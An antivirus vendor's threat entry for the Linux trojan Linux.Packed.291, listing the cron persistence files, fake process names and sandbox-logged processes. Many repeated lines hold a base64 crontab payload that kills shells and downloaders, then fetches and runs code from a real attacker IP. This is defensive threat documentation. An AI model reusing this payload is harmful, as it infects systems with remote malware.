Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Linux.Packed.291

Added to the Dr.Web virus database: 2019-01-28

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /var/spool/cron/crontabs/root
  • /etc/cron.hourly/root
  • /etc/cron.daily/root
  • /etc/cron.weekly/root
  • /etc/cron.monthly/root
  • /etc/crontab
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • wjow
  • utnb
  • keyd
  • bnmf
  • hemr
  • folv
Launches processes:
  • sh -c /var/tmp/cia iicu &
  • /var/tmp/cia iicu
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyBma[rkmodule] [systemd][PPID:0x1] [cia][PID:0x2c9] sys_prctl. option: PR_SET_NAM
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x2cb] do_filp_open. Filename: \"/bin/sh\
  • crontab -
  • sh -c /tmp/cia wjow &
  • /tmp/cia wjow
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [systemd][PPID:0x1] [cia][PID:0x2d1] do_fork_exit. ret: 0x2d
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyBma[rkmodule] [cia][PPID:0x2d1] [cia][PID:0x2d3] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x2d4] do_filp_open. Filename: \"/bin/sh\
  • sh -c /var/tmp/hdd utnb &
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x2dc] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x2dd] do_filp_open. Filename: \"/bin/sh\
  • /var/tmp/hdd utnb
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyBma[rkmodule] [hdd][PPID:0x2de] [hdd][PID:0x2e3] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [utnb][PPID:0x2de] [hdd][PID:0x2e3] vfs_read. File: \"/bin/dash\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x2e9] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x2ea] do_filp_open. Filename: \"/bin/sh\
  • sh -c /tmp/hdd keyd &
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [utnb][PPID:0x2de] [utnb][PID:0x2f0] do_filp_open. Filename: \"/bin/sh\
  • /tmp/hdd keyd
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [keyd][PPID:0x2f1] [keyd][PID:0x2f5] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x2f6] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x2f7] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [utnb][PPID:0x2de] [utnb][PID:0x2ff] do_filp_open. Filename: \"/bin/sh\
